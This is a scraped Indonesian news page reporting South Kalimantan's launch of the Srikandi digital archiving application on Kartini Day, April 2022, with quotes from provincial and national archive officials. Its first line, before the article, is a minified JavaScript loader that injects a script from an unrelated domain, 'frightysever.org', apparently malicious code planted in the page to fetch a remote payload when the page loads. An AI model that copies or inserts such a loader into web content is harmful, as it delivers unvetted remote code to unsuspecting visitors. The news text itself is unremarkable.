(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejak disosialisasikan pada Juni tahun 2021, akhirnya Provinsi Kalimantan Selatan (Kalsel) menerapkan tata kelola kearsipan yang mengikuti perkembangan zaman. Hal itu ditandai dengan launching aplikasi Sistem Informasi Kearsipan Dinamis Terintegrasi (Srikandi), Kamis (21/4/2022).
Launching aplikasi Srikandi bertepatan dengan momen hari lahir pelopor kebangkitan perempuan Pribumi-Nusantara, RA Kartini.
“Bertepatan dengan hari lahir RA Kartini 21 April, saya sengaja memilih hari ini karena ada keterkaitan antara Srikandi dengan Kartini itu sendiri, jadi secara kebetulan saja memang momen yang pas,” ungkap Kepala Dinas Perpustakan dan Kearsipan (Dispersip) Provinsi Kalsel, Dra Hj Nurliani saat launching aplikasi Srikandi.
Peluncuran aplikasi Srikandi berlangsung di aula Dispersip Kalsel, launching Aplikasi Srinkandi dibuka secara resmi Sekretaris Daerah Provinsi Kalsel, Ir Roy Rizali Anwar melalui zoom meeting.
Baca juga : Bersama Berbagi Takjil Diskominfo Kapuas-Awak Media
Sekdaprov Kalsel Roy Rizali mengungkapkan tentang pentingnya pengelolaan arsip, sehingga seluruh SKPD di Provinsi Kalsel dapat sesegara mungkin mengimplentasikan dan memanfaatkan Aplikasi Srikandi.
“Tata kelola kearsipan harus terus mengikuti perkembangan zaman dan melakukan perubahan utamanya dalam penerapan Sistem Pemerintahan Berbasis Elektronik (SPBE), dalam memasuki era disruptif kita dituntut melakukan perubahan cepat,” ujar Roy dalam zoom meeting.
Sekdaprov menambahkan, aplikasi Srikandi merupakan salah satu cara mempercepat penyatuan langkah dalam memajukan bidang kearsipan di era digital dalam lingkup Pemprov Kalsel.
“Hal ini dikarenakan setiap informasi berbasis analog dan digital akan terekam dengan baik melalui aplikasi Srikandi, sehingga nantinya akan menjadi bukti akuntabilitas dan memori kolektif bangsa,” tambahnya.
Baca juga : Dinas Perdagangan Banjarbaru Gelar Pasar Murah Ramadhan Lima Hari
Pada saat peluncuran, Dispersip Kalsel menghadirkan Kepala Arsip Nasional Republik Indonesia (ANRI), Drs Imam Gunarto sebagai nara sumber, yang hadir melalui aplikasi zoom meeting.
Imam mengapresiasi langkah Bunda Nunung (sapaan akrab) selaku Kepala Dispersip Kalsel, yang melaksanakan kegiatan launching aplikasi Srikandi ini bertepatan dengan Hari Kartini.
“Momen yang diambil oleh ibu Nunung ini sangat luar biasa, karena melaunching Srikandi di Hari Kartini. Mudah-mudahan semangat, spirit, dan kemajuan dari apa yang telah diwariskan oleh ibu kita Kartini itu menjadi spirit kemajuan kita bersama,” ungkap Imam Gunarto.
Adapun dijelaskan dalam pemanfaatan fitur aplikasi Srikandi meliputi aplikasi berbasis cloud, yang disimpan di Pusat Data Nasional. Sehingga, instansi tidak perlu menyediakan infrastruktur sendiri.
Baca juga : Musrenbang Penyusunan RKPD 2023, Ini Kata Plt Bupati HSU
Kepala ANRI memaparkan tiga poin utama tujuan pengimplementasian aplikasi Srikandi yang menjadi aplikasi umum bidang kearsipan yang tercipta dan dikelola dalam SPBE, yakni pertama untuk menciptakan tertib arsip seluruh Provinsi, Desa, hingga Kelurahan di Indonesia.
“Kedua, dengan memulai Srikandi sebagai prioritas utama tentu berguna untuk transpormasi digital di bidang ke arsipan. Ketiga tentunya sebagai memori kolektif bangsa untuk mendorong kemajuan kebudayaan agar tidak terlepas dari akses sejarah,” papar Imam.
Dirinya juga menargetkan pada tahun 2024, seluruh SKDP sudah mengimplementasikan aplikasi Srikandi ini secara efektif, agar arsip dapat dikemas dan didokumentasikan kepada generasi muda sebagai bukti kecintaan pada bangsa.
Sementara itu disebutkan Roy Rizali, pada hari launching aplikasi Srikandi ini dimulai dengan penunjukan 7 SKPD yang akan memulai menjalankan aplikasi tersebut dalam menyelenggarakan pekerjaan sehari-hari di lingkup kantor pemerintahan Provinsi Kalsel.
Baca juga : Tim Vaksinasi Kodim 1001 Gelar Suntik Vaksin Malam Hari di Masjid
“Tujuh SKPD itu dipilih untuk memulai menjalankan aplikasi Srikandi agar mengetahui lebih awal bagaimana proses koresprodensi persuratan yang berjalan,” ujar Roy saat meresmikan luncuran aplikasi Srikandi.
Adapun 7 SKPD yang termasuk yakni Dispersip, Diskominfo, Badan Kepegawaian Daerah (BKD), Dinas Kehutanan, Badan Keuangan Daerah, Biro Umum, serta Dinas Koperasi Usaha Kecil dan Menengah Provinsi Kalimantan Selatan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
This website uses cookies.